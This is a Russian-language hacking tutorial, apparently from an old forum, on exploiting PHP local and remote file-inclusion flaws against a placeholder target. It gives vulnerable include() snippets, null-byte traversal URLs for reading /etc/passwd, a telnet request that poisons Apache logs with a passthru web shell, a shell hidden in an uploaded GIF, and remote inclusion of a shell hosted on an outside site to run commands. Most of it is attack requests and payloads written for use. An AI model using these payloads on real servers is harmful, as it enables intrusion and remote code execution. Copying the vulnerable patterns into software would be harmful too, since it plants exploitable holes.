Инъекция php кода (php-injection) позволяет выполнять произвольный код на системе.
Рассмотрим куски кода с этой уязвимостью:
<?
$page = ($_GET['page']);
include("./htdocs/$page.php"); (1)
?>
<?
$page = ($_GET['page']);
include("./htdocs/$page"); (2)
?>
<?
$page = ($_GET['page']);
include("./htdocs/$user/admin.php"); (3)
?>
<?
$page = ($_GET['page']); (4)
include("$page");
?>
Дадим понятие глобальным и локальным инъекциям, итак локальной инъекцией называется та инъекция
при которой определен путь для сценария и не могут инклудиться файлы по http/ftp протоколу
(фрагменты 1-3), а глобальная есть глобальная, у нее путь не определен и инклуд можна делать
удаленно (фрагмент 4; http://[target]/inj.php?inc=http://narod.ru/cmd.txt&cmd=ls)
В фрагментах 1-4 можем манипулировать переменной $page как хотим, но инжекшон в фрагментах
1-3 локальный и имеет некоторые ограничение для нас, т.е. мы можем инклужить любые файлы
в определенных для нас местах,но это можно обойти используя 0-байт. 0-байт означает конец строки,
т.е. правая часть при определенных обстоятельствах будет отброшена.
В шеснадцатиричном виде он обозначается так %00 для передачи по http
Рассмотрим эксплуатацию %00 и попробуем обойти ограничения, но учти что 0-байт сработает не всегда,
это зависит от того,каков код сценария.
Итак в 1-3 фрагментах у нас => ограничения a) инклуд файла,где добавляется расширение .php в
директории htdocs; b) инклуд любого файла в дире htdocs; c) инклуд php сценария в зависимости от
пользователя (./htdocs/gogi/admin.php) Теперь применив 0-байт возможна получим больше прав.
http://[target]/index.php?page=./../../../../../etc/passwd%00 в лучшем случаи получим содержимое.
./ текущий каталог
../ переход на уровень вверх; эта характерно для unix-like OS
Рассмотрим применения локальной инъекции в более расширенном варианте,а именно самоделка шела через
логи apache. Известно что apache ведет лог-файлы httpd-access.log & httpd-error.log и все запросы
естественно логируются и пишутся соотвецтвенный логи. Делаем следующее
# telnet 127.0.0.1 80
# Trying 127.0.0.1...
# Connected to localhost.
# Escape character is '^]'.
# GET HTTP/1.1
# Accept: */*
# Accept-Language: ru.
# Accept-Encoding: deflate.
# User-Agent: Lynx/2.8.5rel.1 libwww-FM/2.14
# Host: 127.0.0.1
# Connection: Close
# Referer: http://127.0.0.1/<?passthru($_GET['cmd']);?>
# сдесь мы передали наш кода в поле Referer - на тот случай если фильтруются
# передоваемые GET-oм параметры сценарием на сервере.
Также будет эффективно передавать код в поле User-Agent.
Можно еще передать так GET <? passthru($_GET['cmd']);?> HTTP/1.1 тогда наш код
пропишется и в httpd-access.log и в httpd-error.log
httpd-error.log:
[error] [client 127.0.0.1] Invalid URI in request GET <? passthru($_GET['cmd']);?> HTTP/1.1
httpd-access.log:
127.0.0.1 - - [01/Feb/2006:13:00:40 +0200] "GET <? passthru($_GET['cmd']);?> HTTP/1.1
Далее будет примерно такой запрос
http://[target]/script.php?page=./../../../../../../httpd-access.log%00&cmd=uname+-a
амперсанд ^
и все застреляет,НО ты должен сделать запрос только 1н раз,если 1й будет неудачным то
на 2й нет смысла,так как выполняться всегда будет тот код который стоит первым в логах!
Т.е.
127.0.0.1 - - [01/Feb/2006:13:00:40 +0200] "GET <?passthru($_GET['cmd']);3?> HTTP/1.1
2й код не выполниться.сдесь ошибка ^
127.0.0.1 - - [01/Feb/2006:13:00:40 +0200] "GET <?passthru($_GET['cmd']);?> HTTP/1.1
С файлом ошибок httpd-error.log поступаем аналогично. Также если на серваке крутится
ftpd,то можно заюзать то что делали с логами для апача будет аналогично с
ftpd только для другого лог-файла (к примеру код передать в качестве логина).
Такие манипуляции можно выполнить и с файлами которые создают гостевухи,форумы и прочие
скрипты сохраняющие инфу в *.txt или *.log т.д. файлах.
Еще есть вариант когда наш код находиться в картинке используя тот же 0-байт.
Рассмотрим пример когда есть форум с локальным инклудом. Берем наш web-shell-script
делаем rename на tux.gif и закачиваем, он будет с содержимым <? passthru($_GET['cmd']);?>
далее делаем запрос на форум http://[target]/forum.php?page=./../smiles/tux.gif%00&cmd=ls
и получаем листинг текущей диры. Есть ситуация когда токая байда [мат] пройдет,это если
проверяется что tux.gif является картинкой,тогда берем реальную картинку и добавляем наш
код в ее конец при помощи какова нить дебагера,и все будет [мат]ок!
Мы закончили с локальным инклудом,перейдем к глобально-удаленному.
А глобальный еще проще,бери и пользуйся (фрагмент 4). как показано в фрагменте 4,
$page определена в чистом виде,без путей и прочего. Эксплуатируется следующим образом
http://[target]/index.php?page=http://narod.ru/my_shell_script.txt&cmd=uname -a
где my_shell_script.txt эта твой шелл на каком нить хостинге.
и все будет чики-бамбони.
Обнаружить эту ошибку в безопасности довольно проста,нужна анализировать переменные,смотреть
код сценариев. Допустим код может быть таким где к названию файла добавляется расширение,а
названием этим может выступать значение переменной которая передается в GET к примеру.
эта будет выглядеть примерно так http://site.com/images.php?profile=2 здесь цифра 2 может
означать имя файла в каталоге к которому потом добавляется расширение .php (см.выше) и если
мы впишем 3333 вместо 2 то это может привести к ошибке если такова файла нет,вот тебе и инклуд..
Также обращайте на места в коде где объявлены ф-ции passthru() system() exec()
PSI:
1й нюанс - запомни то что я писал по поводу инклуда с лог-файломи.
2й нюанс - когда сервер может резать ковычки (сиавя слеши),тогда код шела должен быть таким
<? passthru(stripslashes($_GET["cmd"]));>
PSII:
для освоения этого вам не обязательно знать php (намнога лучше конечно им владеть,так как большой
код сложно анализировать без знания языка), но се-ровно должны знать какую та базу этого языка, хотя б
держать в голове шаблоны по которым можно определить дыру + интуиция,так же смотреть адвиЗори и
повторять то что написано и пытаться разбирать уязвимое место кода.